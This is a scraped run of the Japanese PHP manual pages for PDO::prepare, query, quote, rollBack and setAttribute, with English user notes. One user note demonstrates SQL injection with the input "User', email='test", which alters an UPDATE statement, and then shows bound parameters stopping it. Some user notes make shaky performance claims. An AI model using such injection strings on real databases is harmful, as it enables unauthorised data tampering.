In prepared place holders, think of place holders as variables, which, whether they are strings or other values, are always written without quotes.
chatelain dot cedric dot pro at gmail dot com 11-Mar-2015 11:24
you can't use CREATE DATABASE with prepared statement.

$sql = $conn->prepare("DROP DATABASE IF EXISTS :dbname ;",
                    array(PDO::ATTR_CURSOR => PDO::CURSOR_FWDONLY));
            $sql->execute(array(':dbname' => $dbname));

This will not work.
Anyone has an explanation ?
jesse dot chisholm at gmail dot com 24-Nov-2014 04:17
@Simon Le Pine

Be aware that:

$search = "user";
$sth = db->prepare("SELECT * FROM users WHERE $search=:email");

and

$search = "email";
$sth = db->prepare("SELECT * FROM users WHERE $search=:email");

will produce two totally different prepared statements.

Doing this _will not work_:

$search = "user";
$sth = db->prepare("SELECT * FROM users WHERE $search=:email");
$sth->execute(array(email=>"yada"));
$search = "email";
$sth->execute(array(email=>"yada@ya.da"));
bg at enativ dot com 12-Mar-2014 03:11
if you run queries in a loop, don't include $pdo->prepare() inside the loop, it will save you some resources (and time).

prepare statement inside loop:
for($i=0; $i<1000; $i++) {
    $rs = $pdo->prepare("SELECT `id` FROM `admins` WHERE `groupID` = :groupID AND `id` <> :id");
    $rs->execute([':groupID' => $group, ':id' => $id]);
}

// took 0.066626071929932 microseconds

prepare statement outside loop:
$rs = $pdo->prepare("SELECT `id` FROM `admins` WHERE `groupID` = :groupID AND `id` <> :id");
for($i=0; $i<1000; $i++) {
    $rs->execute([':groupID' => $group, ':id' => $id]);
}

// took 0.064448118209839 microseconds

for 1,000 (simple) queries it took 0.002 microseconds less.
not much, but it worth mention.
pbakhuis 29-Jan-2014 03:42
Noteworthy in my opinion is that if you prepare a statement but do not bind a value to the markers it will insert null by default. e.g.
<?php
/** @var PDO $db */
$prep = $db->prepare('INSERT INTO item(title, link) VALUES(:title, :link)');
$prep->execute();
?>
Will attempt to insert null, null into the item table.
php dot chaska at xoxy dot net 05-Jul-2013 08:04
Note that for Postgres, even though Postgres does support prepared statements, PHP's PDO driver NEVER sends the prepared statement to the Postgres server in advance of the call to PDO::execute().

Therefore, PDO::prepare() will never throw an error for things like faulty SQL syntax.

It also means the server will not parse and plan the SQL until the first time PDO::execute() is called, which may or may not adversely affect your optimization plans.
Hayley Watson 27-May-2013 01:22
It is possible to prepare in advance several statements against a single connection. As long as that connection remains open the statements can be executed and fetched from as often as you like in any order; their "prepare-execute-fetch" steps can be interleaved in whichever way is best.

So if you're likely to be using several statements often (perhaps within a loop of transactions), you may like to consider preparing all the statements you'll be using up front.
Anonymous 18-Apr-2013 05:23
To those wondering why adding quotes to around a placeholder is wrong, and why you can't use placeholders for table or column names:

There is a common misconception about how the placeholders in prepared statements work: they are not simply substituted in as (escaped) strings, and the resulting SQL executed. Instead, a DBMS asked to "prepare" a statement comes up with a complete query plan for how it would execute that query, including which tables and indexes it would use, which will be the same regardless of how you fill in the placeholders.

The plan for "SELECT name FROM my_table WHERE id = :value" will be the same whatever you substitute for ":value", but the seemingly similar "SELECT name FROM :table WHERE id = :value" cannot be planned, because the DBMS has no idea what table you're actually going to select from.

Even when using "emulated prepares", PDO cannot let you use placeholders anywhere, because it would have to work out what you meant: does "Select :foo From some_table" mean ":foo" is going to be a column reference, or a literal string?

When your query is using a dynamic column reference, you should be explicitly white-listing the columns you know to exist on the table, e.g. using a switch statement with an exception thrown in the default: clause.
Kjetil H 28-Mar-2013 09:44
Please note that the correct internal method signature is:
<?php public function prepare ($statement, $driver_options = array()) ?>

and NOT:
<?php public function prepare ($statement, array $driver_options = array()) ?>.

Redeclaring the method using the latter method signature throws a Stricts Standards error.
Simon Le Pine 21-Feb-2013 05:35
Hi All,

First time posting to php.net, a little nervous.

After a bunch of searching I've learned 2 things about prepared statements:
1.) It fails if you enclose in a single quote (')
This fails: "SELECT * FROM users WHERE email=':email'"
This works: "SELECT * FROM users WHERE email=:email"
2.) You cannot search with a prepared statement
This fails: "SELECT * FROM users WHERE :search=:email"
This succeeds: "SELECT * FROM users WHERE $search=:email"

In my case I allow the user to enter their username or email, determine which they've entered and set $search to "username" or "email". As this value is not entered by the user there is no potential for SQL injection and thus safe to use as I have done.

Hope that saves someone else from a lot of searching.
orrd101 at gmail dot com 30-Apr-2012 12:46
Don't just automatically use prepare() for all of your queries.

If you are only submitting one query, using PDO::query() with PDO::quote() is much faster (about 3x faster in my test results with MySQL).  A prepared query is only faster if you are submitting thousands of identical queries at once (with different data).

If you Google for performance comparisons you will find that this is generally consistently the case, or you can write some code and do your own comparison for your particular configuration and query scenario. But generally PDO::query() will always be faster except when submitting a large number of identical queries.  Prepared queries do have the advantage of escaping the data for you, so you have to be sure to use quote() when using query().
public at grik dot net 07-Mar-2012 12:23
With PDO_MYSQL you need to remember about the PDO::ATTR_EMULATE_PREPARES option.

The default value is TRUE, like
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES,true);

This means that no prepared statement is created with $dbh->prepare() call. With exec() call PDO replaces the placeholders with values itself and sends MySQL a generic query string.

The first consequence is that the call  $dbh->prepare('garbage');
reports no error. You will get an SQL error during the $dbh->exec() call.
The second one is the SQL injection risk in special cases, like using a placeholder for the table name.

The reason for emulation is a poor performance of MySQL with prepared statements. Emulation works significantly faster.
pascal dot buguet at laposte dot net 31-Aug-2010 05:11
PDO::CURSOR_SCROLL is ok with MSS.
You must install SQL Server Driver for PHP 2.0 CTP2 : SQLSRV20.EXE
and  the native client "Microsoft SQL Server 2008 R2 Native Client" : sqlncli.msi.
Robin 04-Mar-2010 05:01
Use prepared statements to ensure integrity of binary data during storage and retrieval. Escaping/quoting by f.e. sqlite_escape_string() or PDO::quote() is NOT suited for binary data - only for strings of text.

A simple test verifies perfect storage and retrieval with prepared statements:

<?php

$num_values = 10000;

$db = new pdo( 'sqlite::memory:' );

$db->exec( 'CREATE TABLE data (binary BLOB(512));' );

// generate plenty of troublesome, binary data
for( $i = 0; $i < $num_values; $i++ )
{
    for( $val = null, $c = 0; $c < 512/16; $c++ )
        $val .= md5( mt_rand(), true );
    @$binary[] = $val;
}

// insert each value by prepared statement
for( $i = 0; $i < $num_values; $i++ )
    $db->prepare( 'INSERT INTO data VALUES (?);' )->execute( array($binary[$i]) );

// fetch the entire row
$data = $db->query( 'SELECT binary FROM data;' )->fetchAll( PDO::FETCH_COLUMN );

// compare with original array, noting any mismatch
for( $i = 0; $i < $num_values; $i++ )
    if( $data[$i] != $binary[$i] ) echo "[$i] mismatch\n";

$db = null;

?>
sgirard at rossprint dot com 29-Oct-2009 03:15
Maybe everyone else already knows this but...

If you have a routine that prepares/executes many insert or update statements for a sqlite db then you may want to make use of the pdo transactions.

On some old hardware my query set went from 12 seconds to 1/3-1/2 second.

-sean
richard at codevanilla.com 11-Sep-2009 04:44
beware
PDO will emulate prepared statements/bound parameters for drivers that do not natively support them, and can also rewrite named or question mark style parameter markers to something more appropriate, if the driver supports one style but not the other.

This includes mySQL it seems so

<?php
try{
        $sth1 = $this->db1->prepare($t1, array(PDO::ATTR_CURSOR => PDO::CURSOR_FWDONLY));

        }
        catch(PDOException $e){
                return $this->pack('dbError', $e->getMessage());
        }
?>

does not and so will not throw the exception if your SQL is wrong.

You will need to check that $sth1 is not null.
daniel dot egeberg at gmail dot com 24-May-2009 01:06
You can also pass an array of values to PDOStatement::execute(). This is also secured against SQL injection. You don't necessarily have to use bindParam() or bindValue().
admin at wdfa dot co dot uk 09-Apr-2009 09:52
Note on the SQL injection properties of prepared statements.

Prepared statements only project you from SQL injection IF you use the bindParam or bindValue option.

For example if you have a table called users with two fields, username and email and someone updates their username you might run

UPDATE `users` SET `user`='$var'

where $var would be the user submitted text.

Now if you did
<?php
$a=new PDO("mysql:host=localhost;dbname=database;","root","");
$b=$a->prepare("UPDATE `users` SET user='$var'");
$b->execute();
?>

and the user had entered  User', email='test for a test the injection would occur and the email would be updated to test as well as the user being updated to User.

Using bindParam as follows
 <?php
$var="User', email='test";
$a=new PDO("mysql:host=localhost;dbname=database;","root","");
$b=$a->prepare("UPDATE `users` SET user=:var");
$b->bindParam(":var",$var);
$b->execute();
?>

The sql would be escaped and update the username to User', email='test'
ak_9jsz 18-May-2008 10:16
Using cursors doesn't work with SQLite 3.5.9. I get an error message when it gets to the execute() method.

Some of you might be saying "duh!" but i was surprised to see TRIGGER support in SQLite, so i had to try. :)

I wanted to use Absolute referencing on a Scrollable cursor and i only wanted one column of data. So i used this instead of a cursor.

<?php

$dbo = new PDO('sqlite:tdb');
$sql = 'SELECT F1, F2 FROM tblA WHERE F1 <> "A";';
$res = $dbo->prepare($sql);
$res->execute();
$resColumn = $res->fetchAll(PDO::FETCH_COLUMN, 0);

for($r=0;$r<=3;$r++)
    echo 'Row '. $r . ' returned: ' . $resColumn[$r] . "\n";

$dbo = null;
$res = null;
?>
Stan 14-Nov-2007 07:35
Using prepared SELECT statements on a MySQL database prior to MySQL 5.1.17 can lead to SERIOUS performance degradation.

Quote from http://dev.mysql.com/doc/refman/5.1/en/query-cache.html :

>> The query cache is not used for server-side prepared statements before MySQL 5.1.17 <<

The MySQL query cache buffers complete query results and is used to satisfy repeated identical queries if the underlying tables do not change in the meantime - just what happens all the time in a typical web application. It speeds up queries by a several hundred to a several thousand percent.

Obviously, it doesn't make much sense to give up query caching for the relatively small performance benefit of prepared statements (i.e. the DBMS not having to parse and optimize the same query multiple times) - so using PDO->query() for SELECT statements is probably the better choice i you're connecting to MySQL < 5.1.17.
www.onphp5.com 07-Apr-2007 06:41
Please note that the statement regarding driver_options is misleading:

"This array holds one or more key=>value pairs to set attribute values for the PDOStatement object that this method returns. You would most commonly use this to set the PDO::ATTR_CURSOR value to PDO::CURSOR_SCROLL to request a scrollable cursor. Some drivers have driver specific options that may be set at prepare-time"

From this you might think that scrollable cursors work for all databases, but they don't! Check out this bug report:
http://bugs.php.net/bug.php?id=34625
johniskew 22-Feb-2007 08:03
If you need to create variable sql statements in a prepare statement...for example you may need to construct a sql query with zero, one, two, etc numbers of arguments...here is a way to do it without a lot of if/else statements needed to glue the sql together:

<?php

    public function matchCriteria($field1=null,$field2=null,$field3=null) {
        $db=DB::conn();
        $sql=array();
        $paramArray=array();
        if(!empty($field1)) {
            $sql[]='field1=?';
            $paramArray[]=$field1;
        }
        if(!empty($field2)) {
            $sql[]='field2=?';
            $paramArray[]=$field2;
        }
        if(!empty($field3)) {
            $sql[]='field3=?';
            $paramArray[]=$field3;
        }
        $rs=$db->prepare('SELECT * FROM mytable'.(count($paramArray)>0 ? ' WHERE '.join(' AND ',$sql) : ''));
        $result=$rs->execute($paramArray);
        if($result) {
            return $rs;
        }
        return false;
    }

?>
william dot clarke at gmail dot com 31-Aug-2006 03:58
Surely if you want to use prepared statements that way you should use the syntax in the second example:

eg.

instead of:
select id,name from demo_de where name LIKE :name OR name=:name

use:
select id,name from demo_de where name LIKE ? OR name=?

I believe you are supposed to either use distinct named parameters (name, name1) OR anonymous parameters (?s)
roth at egotec dot com 30-Aug-2006 01:58
Attention using MySQL and prepared statements.
Using a placeholder multiple times inside a statement doesn't work. PDO just translates the first occurance und leaves the second one as is.

select id,name from demo_de where name LIKE :name OR name=:name

You have to use

select id,name from demo_de where name LIKE :name OR name=:name2

and bind name two times. I don't know if other databases (for example Oracle or MSSQL) support multiple occurances. If that's the fact, then the PDO behaviour for MySQL should be changed.


SQL ステートメントを実行し、結果セットを PDOStatement オブジェクトとして返す

  • ≪ PDO::prepare
  • PDO::quote ≫
  • PHP Manual
  • PDO
  • SQL ステートメントを実行し、結果セットを PDOStatement オブジェクトとして返す

PDO::query

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.2.0)

PDO::query — SQL ステートメントを実行し、結果セットを PDOStatement オブジェクトとして返す

説明

public PDO::query ( string $statement ) : PDOStatement
public PDO::query ( string $statement , int $fetch_style = PDO::FETCH_COLUMN , int $colno ) : PDOStatement
public PDO::query ( string $statement , int $fetch_style = PDO::FETCH_CLASS , string $classname , array $ctorargs ) : PDOStatement
public PDO::query ( string $statement , int $fetch_style = PDO::FETCH_INTO , object $object ) : PDOStatement

PDO::query() は、一回の関数コールの中で SQL ステートメントを実行し、このステートメントにより返された 結果セット (ある場合) を PDOStatement オブジェクトとして返します。

複数回発行する必要があるステートメントの場合、 PDO::prepare() で PDOStatement ステートメントを準備し、 PDOStatement::execute() でそのステートメントを 複数回発行する方がより良いパフォーマンスを得られると実感するでしょう。

PDO::query() を次にコールする前に 結果セット内の全てのデータを取得しない場合、そのコールは失敗します。 PDOStatement::closeCursor() をコールし、 次に PDO::query() をコールする前に PDOStatement オブジェクトに関連付けられたリソースを解放してください。

注意:

ひとつ以上の引数をこの関数に渡すと、 ふたつめ以降の引数は、 返されるステートメントオブジェクトに対して PDOStatement::setFetchMode() をコールするのと同じような扱いになります。

パラメータ

statement

準備、発行する SQL ステートメント。

クエリ内のデータは 適切にエスケープ する必要があります。

返り値

PDO::query() は、PDOStatement オブジェクトを返します。 失敗した場合は false を返します。

例

例1 PDO::query の例

PDO::query() の優れた機能は、 実行に成功したSELECTステートメントにより返されたレコードセットで 反復処理が可能であることです。

<?php
$sql = 'SELECT name, color, calories FROM fruit ORDER BY name';
foreach ($conn->query($sql) as $row) {
    print $row['name'] . "\t";
    print $row['color'] . "\t";
    print $row['calories'] . "\n";
}
?>

上の例の出力は以下となります。

apple   red     150
banana  yellow  250
kiwi    brown   75
lemon   yellow  25
orange  orange  300
pear    green   150
watermelon      pink    90

参考

  • PDO::exec() - SQL ステートメントを実行し、作用した行数を返す
  • PDO::prepare() - 文を実行する準備を行い、文オブジェクトを返す
  • PDOStatement::execute() - プリペアドステートメントを実行する

User Contributed Notes

Anonymous 24-Jul-2019 06:45
The Documentation doesn't mention this, but you can use a fetch style as a second parameter. For example:

<?php
    $data=$pdo->query($sql,PDO::FETCH_NUM);
    foreach($data as $row) {
        //    etc
    }
?>
stefano[dot]bertoli [at] gmail[dot]com 08-Sep-2014 02:14
Trying to pass like second argument PDO::FETCH_ASSOC it still work.

So passing FETCH TYPE like argument seems work.

This save you from something like:

<?php
$result = $stmt->setFetchMode(PDO::FETCH_NUM);
?>

Example:
<?php
$res = $db->query('SELECT * FROM `mytable` WHERE true', PDO::FETCH_ASSOC);

?>
marcos at marcosregis dot com 24-Sep-2008 09:14
After a lot of hours working with DataLink on Oracle->MySQL and PDO we (me and Adriano Rodrigues, that solve it) discover that PDO (and oci too) need the attribute AUTOCOMMIT set to FALSE to work correctly with.
There's  3 ways to set autocommit to false: On constructor, setting the atribute after construct and before query data or initiating a Transaction (that turns off autocommit mode)

The examples:
<?php
// First way - On PDO Constructor
$options = array(PDO::ATTR_AUTOCOMMIT=>FALSE);

$pdo = new PDO($dsn,$user,$pass,$options);

// now we are ready to query DataLinks

?>

<?php
// Second Way - Before create statements
$pdo = new PDO($dsn,$user,$pass);

$pdo->setAttribute(PDO::ATTR_AUTOCOMMIT,FALSE);
// or
$pdo->beginTransaction();

// now we are ready to query DataLinks
?>

To use DataLinks on oci just use OCI_DEFAULT on oci_execute() function;
andrea at bhweb dot it 16-Jul-2008 03:57
If someone is suffering of the "MySQL server has gone away" problem after executing multiple queries, this is a solution that solved it for me. It's similar to the one needed for the exact same problem in mysqli.

<?php
$stmt=$db->prepare($query);
$stmt->execute();
do { $stmt->fetch(); $stmt->closeCursor(); ++$line; } while($stmt-
>nextRowset());
?>

I found this only works using prepare and execute this way, not if you
directly execute the query with query().
fredrik at NOSPAM dot rambris dot com 05-May-2007 09:04
The handling of errors by this function is controlled by the attribute PDO::ATTR_ERRMODE.

Use the following to make it throw an exception:
<?php
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
?>
dozoyousan at gmail dot com 02-May-2006 10:26
> When query() fails, the boolean false is returned.

I think that is "Silent Mode".
If that set attribute ErrorMode "Exception Mode"
then that throw PDOException.
 $pdoObj = new PDO( $dsn, $user, $pass );
 $pdoObj->setAttribute("PDO::ATTR_ERRMODE", PDO::ERRMODE_EXCEPTION);


クエリ用の文字列をクオートする

  • ≪ PDO::query
  • PDO::rollBack ≫
  • PHP Manual
  • PDO
  • クエリ用の文字列をクオートする

PDO::quote

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.2.1)

PDO::quote — クエリ用の文字列をクオートする

説明

public PDO::quote ( string $string , int $parameter_type = PDO::PARAM_STR ) : string

PDO::quote() は入力文字列のまわりに引用符を付け (必要であれば) 、 入力文字列にあるシングルクオートをエスケープします。その場合、 構成しているドライバに適したクオート形式が使用されます。

この関数を SQL の構築に使用する場合、 SQL ステートメントにユーザーの入力値を埋め込むための PDO::quote() を使用する代わりに、 バインドパラメータを用いて SQL を準備するための PDO::prepare() を使用することが強く推奨されます。 バインドパラメータを用いるプリペアドステートメントは、 補間されたクエリした場合に比べ、 移植性や利便性に優れ、SQL インジェクションに対する免疫力を持つだけでなく しばしばより高速で、サーバーやクライアント側でコンパイル済みの形式でクエリを キャッシュする事が可能です。

全ての PDO ドライバがこのメソッドを実装しているわけではありません (たとえば PDO_ODBC などの例があります)。 代わりにプリペアドステートメントを使用することを検討してください。

警告

セキュリティ: デフォルトの文字セット

サーバーレベルで設定するなりデータベース接続自身に設定させる (ドライバに依存します) なりして、 文字セットを明示しておく必要があります。この文字セットが PDO::quote() に影響を及ぼします。詳細は 各ドライバのドキュメント を参照ください。

パラメータ

string

クオートされる文字列を指定します。

parameter_type

クオートするスタイルを変更するため、 ドライバにデータ型のヒントを提供します。

返り値

理論上安全なクオートされた SQL ステートメントの文字列を返します。 ドライバがこの方法での引用符付けをサポートしていない場合は false を返します。

例

例1 通常の文字列をクオートする

<?php
$conn = new PDO('sqlite:/home/lynn/music.sql3');

/* 単純な文字列 */
$string = 'Nice';
print "Unquoted string: $string\n";
print "Quoted string: " . $conn->quote($string) . "\n";
?>

上の例の出力は以下となります。

Unquoted string: Nice
Quoted string: 'Nice'

例2 危険な文字列をクオートする

<?php
$conn = new PDO('sqlite:/home/lynn/music.sql3');

/* 危険な文字列 */
$string = 'Naughty \' string';
print "Unquoted string: $string\n";
print "Quoted string:" . $conn->quote($string) . "\n";
?>

上の例の出力は以下となります。

Unquoted string: Naughty ' string
Quoted string: 'Naughty '' string'

例3 複雑な文字列をクオートする

<?php
$conn = new PDO('sqlite:/home/lynn/music.sql3');

/* 複雑な文字列 */
$string = "Co'mpl''ex \"st'\"ring";
print "Unquoted string: $string\n";
print "Quoted string: " . $conn->quote($string) . "\n";
?>

上の例の出力は以下となります。

Unquoted string: Co'mpl''ex "st'"ring
Quoted string: 'Co''mpl''''ex "st''"ring'

参考

  • PDO::prepare() - 文を実行する準備を行い、文オブジェクトを返す
  • PDOStatement::execute() - プリペアドステートメントを実行する

User Contributed Notes

There are no user contributed notes for this page.


トランザクションをロールバックする

  • ≪ PDO::quote
  • PDO::setAttribute ≫
  • PHP Manual
  • PDO
  • トランザクションをロールバックする

PDO::rollBack

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.1.0)

PDO::rollBack — トランザクションをロールバックする

説明

public PDO::rollBack ( ) : bool

PDO::beginTransaction() によって開始された 現在のトランザクションをロールバックします。

データベースがオートコミットモードに設定されている場合、 この関数はトランザクションをロールバックした後に オートコミットモードを元に戻します。

MySQL を含むいくつかのデータベースでは、DROP TABLE や CREATE TABLE のようなデータベース定義言語 (DDL) ステートメントがトランザクション中に 発行される場合、暗黙的なコミットが自動的に発行されます。 この暗黙的なコミットにより、そのトランザクション境界で 他のあらゆる変更をロールバックすることができなくなるでしょう。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

有効なトランザクションがない場合に PDOException をスローします。

注意: 例外は、PDO::ATTR_ERRMODE 属性が PDO::ERRMODE_EXCEPTION ではない場合でも発生します。

例

例1 トランザクションをロールバックする

以下の例は、トランザクションを開始し、 変更をロールバックする前にデータベースを修正する 2 つのステートメントを発行します。 しかしながら MySQL では、DROP TABLE ステートメントは 自動的にトランザクションをコミットするので、 トランザクション中のどの変更もロールバックされません。

<?php
/* トランザクションを開始する。オートコミットがオフになる */
$dbh->beginTransaction();

/* データベーススキーマとデータを変更する */
$sth = $dbh->exec("DROP TABLE fruit");
$sth = $dbh->exec("UPDATE dessert
    SET name = 'hamburger'");

/* ミスに気づき、変更をロールバックする */
$dbh->rollBack();

/* データベース接続はオートコミットモードに戻る */
?>

参考

  • PDO::beginTransaction() - トランザクションを開始する
  • PDO::commit() - トランザクションをコミットする
  • トランザクションおよび自動コミット

User Contributed Notes

Petros Giakouvakis 10-Nov-2010 01:30
Should anyone reading this be slightly panicked because they just discovered that their MySQL  tables are MyIsam and not InnoDb, don't worry... You can very easily change the storage engine using the following query:

ALTER TABLE your_table_name ENGINE = innodb;
brian at diamondsea dot com 25-Mar-2008 07:19
Here is a way of testing that your transaction has started when using MySQL's InnoDB tables.  It will fail if you are using MySQL's MyISAM tables, which do not support transactions but will also not return an error when using them.

<?
// Begin the transaction
$dbh->beginTransaction();

// To verify that a transaction has started, try to create an (illegal for InnoDB) nested transaction.
//    If it works, the first transaction did not start correctly or is unsupported (such as on MyISAM tables)
try {
    $dbh->beginTransaction();
    die('Cancelling, Transaction was not properly started');
} catch (PDOException $e) {
    print "Transaction is running (because trying another one failed)\n";
}
?>
JonasJ 08-Jan-2008 01:59
Just a quick (and perhaps obvious) note for MySQL users;

Don't scratch your head if it isn't working if you are using a MyISAM table to test the rollbacks with.

Both rollBack() and beginTransaction() will return TRUE but the rollBack will not happen.

Convert the table to InnoDB and run the test again.
linfo2003 at libero dot it 29-May-2007 07:07
Since "It is an error to call this method if no transaction is active", it could be useful (even if not indispensable) to have a method which returns true if a transaction is active.

try {
    $dbh->beginTransaction();
    ...
} catch (PDOException $e) {
    if ($dbh->isTransactionActive())  // this function does NOT exist
        $dbh->rollBack();
    ...
}

In the meanwhile, I'm using this code:

    ...
} catch (PDOException $e) {
    try { $dbh->rollBack(); } catch (Exception $e2) {}
    ...
}

It's not so chic, but it works fine.


属性を設定する

  • ≪ PDO::rollBack
  • PDOStatement ≫
  • PHP Manual
  • PDO
  • 属性を設定する

PDO::setAttribute

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.1.0)

PDO::setAttribute — 属性を設定する

説明

public PDO::setAttribute ( int $attribute , mixed $value ) : bool

データベースハンドルの属性を設定します。 利用可能な通常の属性は以下の一覧の通りです。いくつかのドライバでは、 ドライバ固有の属性を使用することが可能です。

  • PDO::ATTR_CASE: 強制的にカラム名を指定したケースにする

    • PDO::CASE_LOWER: 強制的にカラム名を小文字にする

    • PDO::CASE_NATURAL: データベースドライバによって返されるカラム名をそのままにする

    • PDO::CASE_UPPER: 強制的にカラム名を大文字にする

  • PDO::ATTR_ERRMODE: エラーレポート

    • PDO::ERRMODE_SILENT: エラーコードのみ設定する

    • PDO::ERRMODE_WARNING: E_WARNING を発生させる

    • PDO::ERRMODE_EXCEPTION: 例外 を投げる

  • PDO::ATTR_ORACLE_NULLS (Oracle だけでなく、全てのドライバで利用可能): NULL と空文字列の変換

    • PDO::NULL_NATURAL: 変換しない

    • PDO::NULL_EMPTY_STRING: 空文字は null に変換される

    • PDO::NULL_TO_STRING: NULL は空文字に変換される

  • PDO::ATTR_STRINGIFY_FETCHES: フェッチする際、数値を文字列に変換する。bool を必要とする

  • PDO::ATTR_STATEMENT_CLASS: PDOStatement に由来するユーザーが提供するステートメントクラスを設定する。 永続的な PDO インスタンスは使用できない。 array(string classname, array(mixed constructor_args)) を必要とする。

  • PDO::ATTR_TIMEOUT: タイムアウト秒数を指定する。すべてのドライバがこのオプションに対応しているわけではなく、 またドライバによってこのオプションの扱いは異なる。たとえば sqlite は書き込み可能なロックを確保するのをこの秒数まで待ち続けるが、 他のドライバではこの秒数を接続時のタイムアウトや読み込みのタイムアウトとして扱うこともある。 int を渡す。

  • PDO::ATTR_AUTOCOMMIT (OCI, Firebird そして MySQL で利用可能): それぞれの単一文で自動コミットするかどうか。

  • PDO::ATTR_EMULATE_PREPARES プリペアドステートメントのエミュレーションを有効または無効にする。 ドライバによってはネイティブのプリペアドステートメントをサポートしていなかったり 完全には対応していなかったりするものがある。この設定を使うと、常に プリペアドステートメントをエミュレートする (true および プリペアのエミュレートがドライバでサポートされている場合) か、 ネイティブのプリペアドステートメントを使おうとする (false の場合) かを設定できる。現在のクエリを正しく準備できなかった場合は、常にエミュレート方式を使う。 bool で指定する。

  • PDO::MYSQL_ATTR_USE_BUFFERED_QUERY (MySQL で利用可能): バッファされたクエリを使用する。

  • PDO::ATTR_DEFAULT_FETCH_MODE: デフォルトのフェッチモードを設定する。このモードについての説明は PDOStatement::fetch() のドキュメントを参照。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

rob51 at mac dot com 07-Nov-2018 03:10
Where would I find the default values of attributes?
yeboahnanaosei at gmail dot com 22-Dec-2017 04:42
This is an update to a note I wrote earlier concerning how to set multiple attributes when you create you PDO connection string.

You can put all the attributes you want in an associative array and pass that array as the fourth parameter in your connection string. So it goes like this:
<?php
$options = [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_CASE => PDO::CASE_NATURAL,
    PDO::ATTR_ORACLE_NULLS => PDO::NULL_EMPTY_STRING
];

// Now you create your connection string
try {
    // Then pass the options as the last parameter in the connection string
    $connection = new PDO("mysql:host=$host; dbname=$dbname", $user, $password, $options);

    // That's how you can set multiple attributes
} catch(PDOException $e) {
    die("Database connection failed: " . $e->getMessage());
}
?>
vstoykov at proab dot info 19-Dec-2017 02:29
I am using PHP 5.6 and MySQL 5.0 on GoDaddy.
When executing a query like this:
<?php
    $stmt = $this->PDO->query("SHOW CREATE TABLE table");
?>
I get:
Uncaught exception 'PDOException' with message
'SQLSTATE[HY000]: General error: 2030 This command is not supported in the prepared statement protocol yet'
After I added:
<?php
    $this->PDO->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
?>
the query was executed successfully.
guillaume at thug dot com 09-Nov-2017 03:07
function pdo_connect(){
  try {

      $pdo = new PDO('mysql:host=localhost;dbname='.DB_NAME, DB_USER, DB_PASS);
      $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
      $pdo->setAttribute( PDO::ATTR_EMULATE_PREPARES, false );
      $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);

  } catch (PDOException $e) {

      die("Error!: " . $e->getMessage() . "<br/>");

  }

  return $pdo;
}
yeboahnanaosei at gmail dot com 11-Aug-2017 11:36
Well, I have not seen it mentioned anywhere and thought its worth mentioning. It might help someone. If you are wondering whether you can set multiple attributes then the answer is yes.

You can do it like this:
try {
    $connection = new PDO("mysql:host=$host; dbname=$dbname", $user, $password);
    // You can begin setting all the attributes you want.
    $connection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $connection->setAttribute(PDO::ATTR_CASE, PDO::CASE_NATURAL);
    $connection->setAttribute(PDO::ATTR_ORACLE_NULLS, PDO::NULL_EMPTY_STRING);

    // That's how you can set multiple attributes
}
catch(PDOException $e)
{
    die("Database connection failed: " . $e->getMessage());
}

I hope this helps somebody. :)
steve at websmithery dot co dot uk 04-Jul-2017 07:21
For PDO::ATTR_EMULATE_PREPARES, the manual states a boolean value is required. However, when getAttribute() is used to check this value, an integer (1 or 0) is returned rather than true or false.

This means that if you are checking a PDO object is configured as required then

<?php
        // Check emulate prepares is off
        if ($pdo->getAttribute(\PDO::ATTR_EMULATE_PREPARES) !== false) {
            /* do something */
        }
?>

will always 'do something', regardless.

Either

<?php
        // Check emulate prepares is off
        if ($pdo->getAttribute(\PDO::ATTR_EMULATE_PREPARES) != false) {
            /* do something */
        }
?>

or

<?php
        // Check emulate prepares is off
        if ($pdo->getAttribute(\PDO::ATTR_EMULATE_PREPARES) !== 0) {
            /* do something */
        }
?>

is needed instead.

Also worth noting that setAttribute() does, in fact, accept an integer value if you want to be consistent.
justinasu at gmail dot com 22-Dec-2015 06:51
in v5.5 PDO::MYSQL_ATTR_USE_BUFFERED_QUERY can only be set in PDO constructor, not by passing it into setAttribute.
If you set it with setAttribute it will not work. getAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY) will return 0.
antoyo 11-Jan-2011 05:49
There is also a way to specifie the default fetch mode :
<?php
$connection = new PDO($connection_string);
$connection->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_OBJ);
?>
colinganderson [at] gmail [dot] com 18-May-2007 07:59
Because no examples are provided, and to alleviate any confusion as a result, the setAttribute() method is invoked like so:

setAttribute(ATTRIBUTE, OPTION);

So, if I wanted to ensure that the column names returned from a query were returned in the case the database driver returned them (rather than having them returned in all upper case [as is the default on some of the PDO extensions]), I would do the following:

<?php
// Create a new database connection.
$dbConnection = new PDO($dsn, $user, $pass);

// Set the case in which to return column_names.
$dbConnection->setAttribute(PDO::ATTR_CASE, PDO::CASE_NATURAL);
?>

Hope this helps some of you who learn by example (as is the case with me).

.Colin
gregory dot szorc at gmail dot com 14-Feb-2007 08:32
It is worth noting that not all attributes may be settable via setAttribute().  For example, PDO::MYSQL_ATTR_MAX_BUFFER_SIZE is only settable in PDO::__construct().  You must pass PDO::MYSQL_ATTR_MAX_BUFFER_SIZE as part of the optional 4th parameter to the constructor.  This is detailed in http://bugs.php.net/bug.php?id=38015
m dot leuffen at gmx dot de 25-Jul-2006 06:44
Hi,

if you are wondering about a size-bound (1 MB) on blob and text fields after upgrading to PHP5.1.4. You might try to increase this limit by using the setAttribute() method.

This will fail. Instead use the options array when instantiating the pdo:

$pdo = new PDO ("connection_settings", "user", "pass", array
(PDO::MYSQL_ATTR_MAX_BUFFER_SIZE=>1024*1024*50));

This should fix the problem and increase the limit to 50 MB.

Bye,
